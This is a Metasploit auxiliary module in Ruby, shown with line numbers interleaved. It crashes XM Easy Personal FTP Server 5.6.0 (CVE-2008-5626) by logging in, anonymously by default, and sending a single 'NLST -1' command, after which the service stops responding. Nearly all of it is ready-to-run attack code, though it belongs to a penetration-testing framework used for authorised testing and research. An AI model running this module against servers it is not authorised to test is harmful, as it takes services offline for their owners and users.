1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Ftp
8
  include Msf::Auxiliary::Dos
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'XM Easy Personal FTP Server 5.6.0 NLST DoS',
15
        'Description' => %q{
16
          This module is a port of shinnai's script.  You need
17
          a valid login, but even anonymous can do it as long
18
          as it has permission to call NLST.
19
        },
20
        'Author' => 'kris katterjohn',
21
        'License' => MSF_LICENSE,
22
        'References' => [
23
          [ 'CVE', '2008-5626'],
24
          [ 'OSVDB', '50837'],
25
          [ 'EDB', '6741' ]
26
        ],
27
        'DisclosureDate' => '2008-10-13',
28
        'Notes' => {
29
          'Stability' => [CRASH_SERVICE_DOWN],
30
          'SideEffects' => [],
31
          'Reliability' => []
32
        }
33
      )
34
    )
35

36
    register_options([
37
      OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ], fallbacks: ['USERNAME']),
38
      OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ], fallbacks: ['PASSWORD'])
39
    ])
40
  end
41

42
  def run
43
    return unless connect_login
44

45
    raw_send("NLST -1\r\n")
46

47
    disconnect
48

49
    print_status("OK, server may still be technically listening, but it won't respond")
50
  end
51
end
52

53